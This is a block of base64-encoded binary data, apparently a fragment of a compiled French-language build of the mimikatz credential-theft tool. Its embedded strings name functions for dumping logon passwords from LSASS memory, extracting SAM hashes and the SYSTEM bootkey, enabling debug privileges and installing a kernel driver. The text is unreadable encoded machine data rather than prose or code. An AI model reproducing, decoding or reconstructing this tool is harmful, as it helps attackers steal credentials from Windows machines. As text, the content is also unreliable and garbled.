BoAGUAcwAgADoAIAAAAAAAAABEaXNhYmxlUHN0AAAAAAAAS2l3aUFuZFBzdAAAAAAAAE8AdQB0AGwAbwBvAGsALgBBAHAAcABsAGkAYwBhAHQAaQBvAG4AAABPAHUAdABsAG8AbwBrACAAYQB2AGUAYwAgAFAAUwBUACAAIAAgADoAIAAAAAAAAABvAGwAbQBhAHAAaQAzADIALgBkAGwAbAAAAAAAAAAAAE8AdQB0AGwAbwBvAGsAIABpAG4AdAByAG8AdQB2AGEAYgBsAGUAAABTAG8AZgB0AHcAYQByAGUAXABDAGwAYQBzAHMAZQBzAFwAAAAAAAAAXABDAEwAUwBJAEQAAAAAAFMAbwBmAHQAdwBhAHIAZQBcAFcAbwB3ADYANAAzADIATgBvAGQAZQBcAEMAbABhAHMAcwBlAHMAXABDAEwAUwBJAEQAXAAAAFwATABvAGMAYQBsAFMAZQByAHYAZQByADMAMgAAAAAAJyA6IAAAAABSZWdRdWVyeVZhbHVlRXggJwAAAAAAAAAnIG4nZXN0IHBhcyA6IFJFR19TWgAAAABMZSB0eXBlIHJldG91cm7pIHBhciAnAABSZWdPcGVuS2V5RXggJwAAbQBvAGQAXwBtAGUAbQBvAHIAeQA6ADoAdwByAGkAdABlAE0AZQBtAG8AcgB5ACAAAAAAAAAAAABtAG8AZABfAHAAcgBvAGMAZQBzAHMAOgA6AGcAZQB0AFAAZQBiACAAAAAAAAAAAABSAGUAcwB1AG0AZQBUAGgAcgBlAGEAZAAgAAAAAAAAAG0AbwBkAF8AcAByAG8AYwBlAHMAcwA6ADoAZQB4AGUAYwBQAHIAbwBjAGUAcwBzACAAAAAAAAAAAAAAAAAAAABtAG8AZABfAG0AaQBtAGkAawBhAHQAegBfAG4AbwBnAHAAbwA6ADoAZABpAHMAYQBiAGwAZQBTAGkAbQBwAGwAZQAgACgAdQBuAGkAYwBvAGQAZQApACAAVABhAGkAbABsAGUAIABkAHUAIABwAGEAdAB0AGUAcgBuACAAbwByAGkAZwBpAG4AYQBsACAAZABpAGYAZgDpAHIAZQBuAHQAZQAgAGQAdQAgAHAAYQB0AHQAZQByAG4AIABjAGkAYgBsAGUAAAAAAAAAAAAAAAAAbQBvAGQAXwBtAGkAbQBpAGsAYQB0AHoAXwBuAG8AZwBwAG8AOgA6AGQAaQBzAGEAYgBsAGUAUwBpAG0AcABsAGUAIAAoAG4AbwBuAC0AdQBuAGkAYwBvAGQAZQApACAAVABhAGkAbABsAGUAIABkAHUAIABwAGEAdAB0AGUAcgBuACAAbwByAGkAZwBpAG4AYQBsACAAZABpAGYAZgDpAHIAZQBuAHQAZQAgAGQAdQAgAHAAYQB0AHQAZQByAG4AIABjAGkAYgBsAGUAAAAAAEwAaQBzAHQAZQAgAGwAZQBzACAAcAByAGkAdgBpAGwA6ABnAGUAcwAAAAAAAAAAAEEAYwB0AGkAdgBlACAAdQBuACAAbwB1ACAAcABsAHUAcwBpAGUAdQByAHMAIABwAHIAaQB2AGkAbADoAGcAZQBzAAAAAAAAAGUAbgBhAGIAbABlAAAAAAAAAAAAAAAAAFIAZQB0AGkAcgBlACAAdQBuACAAbwB1ACAAcABsAHUAcwBpAGUAdQByAHMAIABwAHIAaQB2AGkAbADoAGcAZQBzAAAAAAAAAHIAZQBtAG8AdgBlAAAAAAAAAAAAAAAAAEQA6QBzAGEAYwB0AGkAdgBlACAAdQBuACAAbwB1ACAAcABsAHUAcwBpAGUAdQByAHMAIABwAHIAaQB2AGkAbADoAGcAZQBzAAAAAAAAAAAAZABpAHMAYQBiAGwAZQAAAEQAZQBtAGEAbgBkAGUAIAAoAG8AdQAgAGQA6QBzAGEAYwB0AGkAdgBlACkAIABsAGUAIABwAHIAaQB2AGkAbADoAGcAZQAgAEQAZQBiAHUAZwAAAAAAAABkAGUAYgB1AGcAAAAAAAAAAAAAAAAAAABEAGUAbQBhAG4AZABlACAAKABvAHUAIABkAOkAcwBhAGMAdABpAHYAZQApACAAbABlACAAcAByAGkAdgBpAGwA6ABnAGUAIABTAGUAYwB1AHIAaQB0AHkAAAAAAAAAAABzAGUAYwB1AHIAaQB0AHkAAAAAAAAAAAAAAAAAAAAAAEQAZQBtAGEAbgBkAGUAIAAoAG8AdQAgAGQA6QBzAGEAYwB0AGkAdgBlACkAIABsAGUAIABwAHIAaQB2AGkAbADoAGcAZQAgAFQAYwBiAAAAdABjAGIAAAAAAAAAAAAAAEQAZQBtAGEAbgBkAGUAIAAoAG8AdQAgAGQA6QBzAGEAYwB0AGkAdgBlACkAIABsAGUAIABwAHIAaQB2AGkAbADoAGcAZQAgAEkAbQBwAGUAcgBzAG8AbgBhAHQAZQAAAEQAZQBtAGEAbgBkAGUAIAAoAG8AdQAgAGQA6QBzAGEAYwB0AGkAdgBlACkAIABsAGUAIABwAHIAaQB2AGkAbADoAGcAZQAgAEEAcwBzAGkAZwBuAFAAcgBpAG0AYQByAHkAVABvAGsAZQBuAAAAAABhAHMAcwBpAGcAbgAAAAAARABlAG0AYQBuAGQAZQAgACgAbwB1ACAAZADpAHMAYQBjAHQAaQB2AGUAKQAgAGwAZQAgAHAAcgBpAHYAaQBsAOgAZwBlACAAUwBoAHUAdABkAG8AdwBuAAAAAAAAAAAAcwBoAHUAdABkAG8AdwBuAAAAAAAAAAAAAAAAAAAAAABEAGUAbQBhAG4AZABlACAAKABvAHUAIABkAOkAcwBhAGMAdABpAHYAZQApACAAbABlACAAcAByAGkAdgBpAGwA6ABnAGUAIABUAGEAawBlAE8AdwBuAGUAcgBzAGgAaQBwAAAAAAAAAHQAYQBrAGUAbwB3AG4AZQByAAAAAAAAACAAOgAgAAAAIABkAHUAIABwAHIAaQB2AGkAbADoAGcAZQAgADoAIAAAAAAAAAAAACcAQQBDAFQASQBWAEEAVABJAE8ATgAAAGUAIABSAEUAVABSAEEASQBUAAAAAAAAAEQAZQBtAGEAbgBkAGUAIABkAAAAAAAAAEUATgBBAEIATABFAEQAXwBCAFkAXwBEAEUARgBBAFUATABUACAAAABFAE4AQQBCAEwARQBEACAAAAAAAAAAAABSAEUATQBPAFYARQBEACAAAAAAAAAAAABVAFMARQBEAF8ARgBPAFIAXwBBAEMAQwBFAFMAUwAgAAAAAAAAAAAAUgBFAE0ATwBWAEUARAAAAFMAZQBEAGUAYgB1AGcAUAByAGkAdgBpAGwAZQBnAGUAAAAAAAAAAABTAGUAUwBlAGMAdQByAGkAdAB5AFAAcgBpAHYAaQBsAGUAZwBlAAAAUwBlAFQAYwBiAFAAcgBpAHYAaQBsAGUAZwBlAAAAAABTAGUASQBtAHAAZQByAHMAbwBuAGEAdABlAFAAcgBpAHYAaQBsAGUAZwBlAAAAAABTAGUAQQBzAHMAaQBnAG4AUAByAGkAbQBhAHIAeQBUAG8AawBlAG4AUAByAGkAdgBpAGwAZQBnAGUAAAAAAAAAUwBlAFMAaAB1AHQAZABvAHcAbgBQAHIAaQB2AGkAbABlAGcAZQAAAFMAZQBUAGEAawBlAE8AdwBuAGUAcgBzAGgAaQBwAFAAcgBpAHYAaQBsAGUAZwBlAAAAAAAAAAAATABpAHMAdABlACAAbABlAHMAIABwAHIAbwBjAGUAcwBzAHUAcwAAAEUAeADpAGMAdQB0AGUAIAB1AG4AIABwAHIAbwBjAGUAcwBzAHUAcwAsACAALwBwAGEAdQBzAGUAZAAgAGUAdAAvAG8AdQAgAC8AcwB1AGQAbwAAAAAAAABzAHQAYQByAHQAAAAAAAAAAAAAAAAAAABTAHUAcwBwAGUAbgBkACAAbAAnAGUAeADpAGMAdQB0AGkAbwBuACAAZAAnAHUAbgAgAHAAcgBvAGMAZQBzAHMAdQBzAAAAAABzAHUAcwBwAGUAbgBkAAAAUgBlAHAAcgBlAG4AZAAgAHUAbgAgAHAAcgBvAGMAZQBzAHMAdQBzAAAAAAAAAAAAcgBlAHMAdQBtAGUAAAAAAAAAAAAAAAAAUwB0AG8AcABwAGUAIAB1AG4AIAAoAG8AdQAgAHAAbAB1AHMAaQBlAHUAcgBzACkAIABwAHIAbwBjAGUAcwBzAHUAcwAAAAAAcwB0AG8AcAAAAAAAAAAAAAAAAAAAAAAATABpAHMAdABlACAAbABlAHMAIABtAG8AZAB1AGwAZQBzACAAKABwAG8AdQByACAAbABlACAAbQBvAG0AZQBuAHQAIABkAHUAIABQAEkARAAgAGMAbwB1AHIAYQBuAHQAKQAAAAAAAABtAG8AZAB1AGwAZQBzAAAATABpAHMAdABlACAAbABhACAAdABhAGIAbABlACAAZAAnAGEAZAByAGUAcwBzAGEAZwBlAAAAAABpAGEAdAAAACcAAAAAAAAARABlAG0AYQBuAGQAZQAgAGQAJwBlAHgA6QBjAHUAdABpAG8AbgAgAGQAZQAgADoAIAAnAAAAAAAvAHAAYQB1AHMAZQBkAAAALwBzAHUAZABvAAAAAAAAAAAAAAAAAAAAIAAqACAATABlACAAVABoAHIAZQBhAGQAIABwAHIAaQBuAGMAaQBwAGEAbAAgAGUAcwB0ACAAcwB1AHMAcABlAG4AZAB1ACAAIQAgAFIAZQBwAHIAaQBzAGUAIABhAHYAZQBjACAAOgAgAHQAaAByAGUAYQBkADoAOgByAGUAcwB1AG0AZQAgAAAAAAAAAAAAIAAqACAATABlACAAcAByAG8AYwBlAHMAcwB1AHMAIABlAHMAdAAgAGQA6QBtAGEAcgByAOkAIABhAHYAZQBjACAAZABlACAAZgBhAHUAcwBzAGUAcwAgAGQAbwBuAG4A6QBlAHMAIABkACcAaQBkAGUAbgB0AGkAZgBpAGMAYQB0AGkAbwBuAAAAAAAAAAAAbQBvAGQAXwBwAHIAbwBjAGUAcwBzADoAOgBzAHQAYQByAHQAIAA7ACAAAAAAAAAAcAByAG8AYwBlAHMAcwA6ADoAcwB0AGEAcgB0ACAAWwAvAHAAYQB1AHMAZQBkAF0AIABbAC8AcwB1AGQAbwBdACAAYwBvAG0AbQBhAG4AZABlAAAAAAAAAEUAcgByAGUAdQByACAAZABlACAAcwB5AG4AdABhAHgAZQAgADsAIAAAAAAAAAAAAEYAaQBuACAAZABlACAAOgAgAAAAAAAAAEsATwAgAC0AIABtAG8AZABfAHAAcgBvAGMAZQBzAHMAOgA6AHMAdABvAHAAIAA7ACAAAAAAAAAAAAAAAAAAAABtAG8AZABfAHAAcgBvAGMAZQBzAHMAOgA6AGcAZQB0AFUAbgBpAHEAdQBlAEYAbwByAE4AYQBtAGUAIAA7ACAAAAAAAAAAAABTAHUAcwBwAGUAbgBzAGkAbwBuACAAZABlACAAOgAgAAAAAAAAAAAASwBPACAALQAgAG0AbwBkAF8AcAByAG8AYwBlAHMAcwA6ADoAcwB1AHMAcABlAG4AZAAgADsAIAAAAAAAAAAAAFIAZQBwAHIAaQBzAGUAIABkAGUAIAA6ACAAAAAAAAAASwBPACAALQAgAG0AbwBkAF8AcAByAG8AYwBlAHMAcwA6ADoAcgBlAHMAdQBtAGUAIAA7ACAAAABQAEkARAAJAFAAUABJAEQACQAjAFQAaABzAAkAcAByAGkACQBpAG0AYQBnAGUAAABtAG8AZABfAHAAcgBvAGMAZQBzAHMAOgA6AGcAZQB0AEwAaQBzAHQAIAA7ACAAAABAAEIAYQBzAGUACQBUAGEAaQBsAGwAZQAJAE0AbwBkAHUAbABlAAkAUABhAHQAaAAAAAAAAAAAAG0AbwBkAF8AcA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BzACAAYwBvAHUAcgBhAG4AdABlAHMAIABkAHUAIABwAHIAbwB2AGkAZABlAHIAIABLAGUAcgBiAGUAcgBvAHMAAABrAGUAcgBiAGUAcgBvAHMAAAAAAAAAAADpAG4AdQBtAOgAcgBlACAAbABlAHMAIABzAGUAcwBzAGkAbwBuAHMAIABjAG8AdQByAGEAbgB0AGUAcwAgAGQAdQAgAHAAcgBvAHYAaQBkAGUAcgAgAFQAcwBQAGsAZwAAAAAAAAAAAHQAcwBwAGsAZwAAAAAAAAAAAAAAAAAAAOkAbgB1AG0A6AByAGUAIABsAGUAcwAgAHMAZQBzAHMAaQBvAG4AcwAgAGMAbwB1AHIAYQBuAHQAZQBzACAAZAB1ACAAcAByAG8AdgBpAGQAZQByACAATABpAHYAZQBTAFMAUAAAAAAAbABpAHYAZQBzAHMAcAAAAAAAAAAAAAAA6QBuAHUAbQDoAHIAZQAgAGwAZQBzACAAcwBlAHMAcwBpAG8AbgBzACAAYwBvAHUAcgBhAG4AdABlAHMAIABkAHUAIABwAHIAbwB2AGkAZABlAHIAIABTAFMAUAAgACgAbQBzAHYAMQBfADAAKQAAAHMAcwBwAAAAAAAAAAAAAADpAG4AdQBtAOgAcgBlACAAbABlAHMAIABzAGUAcwBzAGkAbwBuAHMAIABjAG8AdQByAGEAbgB0AGUAcwAgAGQAZQBzACAAcAByAG8AdgBpAGQAZQByAHMAIABkAGkAcwBwAG8AbgBpAGIAbABlAHMAAAAAAAAAAABsAG8AZwBvAG4AUABhAHMAcwB3AG8AcgBkAHMAAAAAAAAAAAAAAAAAcgBlAGMAaABlAHIAZQAgAGQAaQByAGUAYwB0AGUAbQBlAG4AdAAgAGQAYQBuAHMAIABsAGUAcwAgAHMAZQBnAG0AZQBuAHQAcwAgAG0A6QBtAG8AaQByAGUAIABkAGUAIABMAFMAQQBTAFMAIABkAGUAcwAgAG0AbwB0AHMAIABkAGUAIABwAGEAcwBzAGUAcwAAAAAAAABzAGUAYQByAGMAaABQAGEAcwBzAHcAbwByAGQAcwAAAEQAbwBuAG4A6QBlAHMAIABMAFMAQQBTAFMAIABlAG4AIABlAHIAcgBlAHUAcgAAAGwAcwBhAHMAcgB2AAAAAABtAHMAdgAxAF8AMAAAAAAAbABzAGEAcwByAHYALgBkAGwAbAAAAAAAdABzAHAAawBnAC4AZABsAGwAAAAAAAAAdwBkAGkAZwBlAHMAdAAuAGQAbABsAAAAawBlAHIAYgBlAHIAbwBzAC4AZABsAGwAAAAAAAAAAABtAHMAdgAxAF8AMAAuAGQAbABsAAAAAABsAGkAdgBlAHMAcwBwAC4AZABsAGwAAABsAHMAYQBzAHMALgBlAHgAZQAAAAAAAAAAAAAAAAAAAG0AbwBkAF8AcAByAG8AYwBlAHMAcwA6ADoAZwBlAHQAVgBlAHIAeQBCAGEAcwBpAGMATQBvAGQAdQBsAGUAcwBMAGkAcwB0AEYAbwByAFAAcgBvAGMAZQBzAHMAIAA6ACAAAAAAAAAAAAAAAAAAAABtAG8AZABfAHAAcgBvAGMAZQBzAHMAOgA6AGcAZQB0AFUAbgBpAHEAdQBlAEYAbwByAE4AYQBtAGUAIAA6ACAAAAAAAAAAAABMc2FJUmVnaXN0ZXJOb3RpZmljYXRpb24AAAAAAAAAAExzYUlDYW5jZWxOb3RpZmljYXRpb24AACAAfQAAAAAAXQAgAHsAIAAAAAAAAAAAAAkAIABbAAAACQAgACoAIABNAG8AdAAgAGQAZQAgAHAAYQBzAHMAZQAgADoAIAAAAAkAIAAqACAARABvAG0AYQBpAG4AZQAgACAAIAAgACAAIAA6ACAAAAAJACAAKgAgAFUAdABpAGwAaQBzAGEAdABlAHUAcgAgACAAOgAgAAAACQAgACAAIAAgACAAIAAgAE0AbwB0ACAAZABlACAAcABhAHMAcwBlACAAOgAgAAAACQAgACAAIAAgACAAIAAgAEQAbwBtAGEAaQBuAGUAIAAgACAAIAAgACAAOgAgAAAAXQAgAFUAdABpAGwAaQBzAGEAdABlAHUAcgAgACAAOgAgAAAAAAAAAAkAIAAqACAAWwAAAAAAAABuAC4AdAAuACAAKABMAFUASQBEACAASwBPACkAAAAAAEQAbwBtAGEAaQBuAGUAIABkACcAYQB1AHQAaABlAG4AdABpAGYAaQBjAGEAdABpAG8AbgAgACAAOgAgAAAAAABVAHQAaQBsAGkAcwBhAHQAZQB1AHIAIABwAHIAaQBuAGMAaQBwAGEAbAAgACAAIAAgACAAIAAgADoAIAAAAAAAUABhAGMAawBhAGcAZQAgAGQAJwBhAHUAdABoAGUAbgB0AGkAZgBpAGMAYQB0AGkAbwBuACAAIAA6ACAAAAAAADsAAAAAAAAAQQB1AHQAaABlAG4AdABpAGYAaQBjAGEAdABpAG8AbgAgAEkAZAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAAAAAAAAAAAAAARQByAHIAZQB1AHIAIAA6ACAASQBtAHAAbwBzAHMAaQBiAGwAZQAgAGQAJwBvAGIAdABlAG4AaQByACAAbABlAHMAIABkAG8AbgBuAOkAZQBzACAAZABlACAAcwBlAHMAcwBpAG8AbgAAAAAAAAAAAEUAcgByAGUAdQByACAAOgAgAEkAbQBwAG8AcwBzAGkAYgBsAGUAIABkACcA6QBuAHUAbQBlAHIAZQByACAAbABlAHMAIABzAGUAcwBzAGkAbwBuAHMAIABjAG8AdQByAGEAbgB0AGUAcwAAAAAAAABMAGkAcwB0AGUAIABsAGUAcwAgAHMAZQByAHYAaQBjAGUAcwAgAGUAdAAgAHAAaQBsAG8AdABlAHMAAAAAAAAARADpAG0AYQByAHIAZQAgAHUAbgAgAHMAZQByAHYAaQBjAGUAIABvAHUAIABwAGkAbABvAHQAZQAAAAAAAAAAAEEAcgByAOoAdABlACAAdQBuACAAcwBlAHIAdgBpAGMAZQAgAG8AdQAgAHAAaQBsAG8AdABlAAAAUwB1AHAAcAByAGkAbQBlACAAdQBuACAAcwBlAHIAdgBpAGMAZQAgAG8AdQAgAHAAaQBsAG8AdABlAAAAAAAAAAAAAAAAAAAASQBuAHMAdABhAGwAbABlACAAZQB0AC8AbwB1ACAAZADpAG0AYQByAHIAZQAgAGwAZQAgAHAAaQBsAG8AdABlACAAbQBpAG0AaQBrAGEAdAB6AAAAAAAAAEQA6QBtAGEAcgByAGEAZwBlACAAZABlACAAJwAAAAAAQQByAHIA6gB0ACAAZABlACAAJwAAAAAAUwB1AHAAcAByAGUAcwBzAGkAbwBuACAAZABlACAAJwAAAAAAAAAAAAAAAAAAAAAAKABuAHUAbABsACkAJwAgAC0AIABLAE8AIAA7ACAATgBvAG0AIABkAGUAIABzAGUAcgB2AGkAYwBlACAAbQBhAG4AcQB1AGEAbgB0AAAAAABJAE4AVABFAFIAQQBDAFQASQBWAEUAXwBQAFIATwBDAEUAUwBTAAAARgBJAEwARQBfAFMAWQBTAFQARQBNAF8ARABSAEkAVgBFAFIAAAAAAEsARQBSAE4ARQBMAF8ARABSAEkAVgBFAFIAAAAAAAAAVwBJAE4AMwAyAF8ATwBXAE4AXwBQAFIATwBDAEUAUwBTAAAAAAAAAFcASQBOADMAMgBfAFMASABBAFIARQBfAFAAUgBPAEMARQBTAFMAAABDAE8ATgBUAEkATgBVAEUAXwBQAEUATgBEAEkATgBHAAAAAAAAAAAAUABBAFUAUwBFAF8AUABFAE4ARABJAE4ARwAAAAAAAABQAEEAVQBTAEUARAAAAAAAUgBVAE4ATgBJAE4ARwAAAFMAVABBAFIAVABfAFAARQBOAEQASQBOAEcAAAAAAAAAUwBUAE8AUABfAFAARQBOAEQASQBOAEcAAAAAAAAAAABTAFQATwBQAFAARQBEAAAAbQBvAGQAXwBzAGUAcgB2AGkAYwBlADoAOgBnAGUAdABMAGkAcwB0ACAAOwAgAAAAAAAAAAAAAABbACoAXQAgAFAAaQBsAG8AdABlACAAbQBpAG0AaQBrAGEAdAB6ACAAbgBvAG4AIABwAHIA6QBzAGUAbgB0ACwAIABpAG4AcwB0AGEAbABsAGEAdABpAG8AbgAuAAAAAABtAGkAbQBpAGsAYQB0AHoALgBzAHkAcwAAAAAAAAAAAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByAAAAWwArAF0AIABDAHIA6QBhAHQAaQBvAG4AIABkAHUAIABwAGkAbABvAHQAZQAgADoAIABPAEsAAAAAAAAAAAAAAFsAKwBdACAAQQB0AHQAcgBpAGIAdQB0AGkAbwBuACAAZABlAHMAIABkAHIAbwBpAHQAcwAgADoAIABPAEsAAABbAC0AXQAgAEEAdAB0AHIAaQBiAHUAdABpAG8AbgAgAGQAZQBzACAAZAByAG8AaQB0AHMAIAA6ACAASwBPACAAOwAgAAAAAAAAAAAAAAAAAFsAIQBdACAASQBtAHAAbwBzAHMAaQBiAGwAZQAgAGQAZQAgAGMAcgDpAGUAcgAgAGwAZQAgAHAAaQBsAG8AdABlACAAOwAgAAAAAAAAAAAAWwAhAF0AIABMAGUAIABwAGkAbABvAHQAZQAgAG4AZQAgAHMAZQBtAGIAbABlACAAcABhAHMAIABlAHgAaQBzAHQAZQByACAAOwAgAAAAAABbACEAXQAgAEkAbQBwAG8AcwBzAGkAYgBsAGUAIABkACcAbwBiAHQAZQBuAGkAcgAgAGwAZQAgAGMAaABlAG0AaQBuACAAYQBiAHMAbwBsAHUAIABkAHUAIABwAGkAbABvAHQAZQAgADsAIAAAAAAAWwAhAF0AIABPAHUAdgBlAHIAdAB1AHIAZQAgAGQAdQAgAHAAaQBsAG8AdABlACAAbQBpAG0AaQBrAGEAdAB6ACAAOgAgAEsATwAgADsAIAAAAAAAAAAAAAAAAAAAAAAAWwAqAF0AIABQAGkAbABvAHQAZQAgAG0AaQBtAGkAawBhAHQAegAgAGQA6QBqAOAAIABwAHIA6QBzAGUAbgB0AAAAAAAAAAAAWwArAF0AIABEAOkAbQBhAHIAcgBhAGcAZQAgAGQAdQAgAHAAaQBsAG8AdABlACAAOgAgAE8ASwAAAAAAAAAAAAAAAAAAAAAAWwAtAF0AIABEAOkAbQBhAHIAcgBhAGcAZQAgAGQAdQAgAHAAaQBsAG8AdABlACAAOgAgAEsATwAgADsAIAAAAFsAIQBdACAASQBtAHAAbwBzAHMAaQBiAGwAZQAgAGQAJwBvAHUAdgByAGkAcgAgAGwAZQAgAGcAZQBzAHQAaQBvAG4AbgBhAGkAcgBlACAAZABlACAAcwBlAHIAdgBpAGMAZQAgAHAAbwB1AHIAIABjAHIA6QBhAHQAaQBvAG4AIAA7ACAAAAAAAAAAAAAAAEUAZgBmAGEAYwBlACAAbAAnAOkAYwByAGEAbgAgACgAbgBlACAAZgBvAG4AYwB0AGkAbwBuAG4AZQAgAHAAYQBzACAAZQBuACAA6QB4AGUAYwB1AHQAaQBvAG4AIABkAGkAcwB0AGEAbgB0AGUALAAgAHYAaQBhACAAUABzAEUAeABlAGMAIABwAGEAcgAgAGUAeABlAG0AcABsAGUAKQAAAAAAAAAAAGMAbABzAAAAUQB1AGkAdAB0AGUAIABNAGkAbQBpAEsAYQB0AHoAAABDAGEAbABjAHUAbABlACAAbABhACAAcgDpAHAAbwBuAHMAZQAgAOAAIABsAGEAIABHAHIAYQBuAGQAZQAgAFEAdQBlAHMAdABpAG8AbgAgAHMAdQByACAAbABhACAAVgBpAGUALAAgAGwAJwBVAG4AaQB2AGUAcgBzACAAZQB0ACAAbABlACAAUgBlAHMAdABlAAAAAAAAAHIAZQBwAG8AbgBzAGUAAABUAHIAbwB1AHYAZQAgAHUAbgBlACAAYwBpAHQAYQB0AGkAbwBuAAAAYwBpAHQAZQAAAAAAAAAAAFIAZQB0AG8AdQByAG4AZQAgAGwAYQAgAHYAZQByAHMAaQBvAG4AIABkAGUAIABtAGkAbQBpAGsAYQB0AHoAAAB2AGUAcgBzAGkAbwBuAAAATQBlAHQAcwAgAGUAbgAgAHAAYQB1AHMA